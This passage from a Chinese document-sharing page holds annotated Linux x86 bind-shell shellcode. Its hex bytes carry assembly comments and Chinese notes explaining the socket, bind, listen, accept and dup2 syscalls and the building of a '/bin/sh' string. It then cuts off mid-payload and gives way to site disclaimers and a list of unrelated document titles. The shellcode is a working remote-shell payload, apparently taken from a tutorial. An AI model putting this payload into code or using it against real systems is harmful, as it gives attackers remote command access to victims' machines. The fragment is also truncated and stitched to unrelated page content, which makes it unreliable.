06"/*movb$0x6,%al*/1e"\x89\x46\x08"/*movl%eax,0x8(%esi)*/21"\xb0\x66"/*movb$0x66,%al*/23"\xb3\x01"/*movb$0x1,%bl*/25"\xcd\x80"/*int$0x80*//*执行socket(),eax里面为返回值soc文献描述符*/27"\x89\x06"/*movl%eax,(%esi)*/29"\xb0\x02"/*movb$0x2,%al*/2d"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/2f"\xb0\x77"/*movb$0x77,%al*/31"\x66\x89\x46\x0e"/*movw%ax,0xe(%esi)*/35"\x8d\x46\x0c"/*leal0xc(%esi),%eax*/38"\x89\x46\x04"/*movl%eax,0x4(%esi)*/3b"\x31\xc0"/*xorl%eax,%eax*/3d"\x89\x46\x10"/*movl%eax,0x10(%esi)*/40"\xb0\x10"/*movb$0x10,%al*/42"\x89\x46\x08"/*movl%eax,0x8(%esi)*/45"\xb0\x66"/*movb$0x66,%al*/47"\xb3\x02"/*movb$0x2,%bl*/49"\xcd\x80"/*int$0x80*//*执行bind()*/4b"\xeb\x04"/*jmp0x4*//*越过下面的两个跳转*/4d"\xeb\x55"/*jmp0x55*//*跳到0x4f+0x55=0xa4*/4f"\xeb\x5b"/*jmp0x5b*//*跳到0x51+0x5b=0xac*/51"\xb0\x01"/*movb$0x1,%al*/53"\x89\x46\x04"/*movl%eax,0x4(%esi)*/56"\xb0\x66"/*movb$0x66,%al*/58"\xb3\x04"/*movb$0x4,%bl*/5a"\xcd\x80"/*int$0x80*//*执行listen()*/5c"\x31\xc0"/*xorl%eax,%eax*/5e"\x89\x46\x04"/*movl%eax,0x4(%esi)*/61"\x89\x46\x08"/*movl%eax,0x8(%esi)*/64"\xb0\x66"/*movb$0x66,%al*/66"\xb3\x05"/*movb$0x5,%bl*/68"\xcd\x80"/*int$0x80*//*执行accept(),eax里面为返回值cli文献描述符*/6a"\x88\xc3"/*movb%al,%bl*/6c"\xb0\x3f"/*movb$0x3f,%al*/6e"\x31\xc9"/*xorl%ecx,%ecx*/70"\xcd\x80"/*int$0x80*/72"\xb0\x3f"/*movb$0x3f,%al*/74"\xb1\x01"/*movb$0x1,%cl*/76"\xcd\x80"/*int$0x80*/78"\xb0\x3f"/*movb$0x3f,%al*/7a"\xb1\x02"/*movb$0x2,%cl*/7c"\xcd\x80"/*int$0x80*//*执行三个dup2()*/7e"\xb8\x2f\x62\x69\x6e"/*movl$0x6e69622f,%eax*//*%eax="/bin"*/83"\x89\x06"/*movl%eax,(%esi)*/85"\xb8\x2f\x73\x68\x2f"/*movl$0x2f68732f/*%eax="/sh/"*/8a"\x89\x46\x04
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 工业模具设计版权转让与国内外市场拓展合作补充协议
- 房地产开发股权投资协议(SPA)及预售合同管理
- 互联网网红汉堡店连锁加盟管理合同
- 网上商城债务清偿与权益维护合同
- 肺结节护理诊断
- 虚拟现实电影制作权属及收益分配协议
- 植物新品种培育与农业市场拓展合作合同
- 宠物医院投资合作与全面承包经营协议
- 外籍子女在华探视权强制执行援助合同
- 智能充电新能源充电桩建设项目股权投资及市场拓展合同
- 2023年北京重点校初二(下)期中数学试卷汇编:一次函数章节综合1
- 政府与非营利组织会计(王彦第8版)习题及答案 第1-23章 政府会计的基本概念-政府单位会计报表
- 胃癌治疗进展
- 人教版四年级下册数学运算定律简便计算练习400题及答案
- 柔性电子器件制造工艺
- 销售人员财务知识培训课件
- 《热敏电阻》课件
- 水电站大坝混凝土温度控制方案
- 贾玲张小斐《上学那些事》(手稿)台词剧本完整版
- 三次元MSA测量系统分析报告72121312
- 短暂性脑缺血发作护理查房2021
评论
0/150
提交评论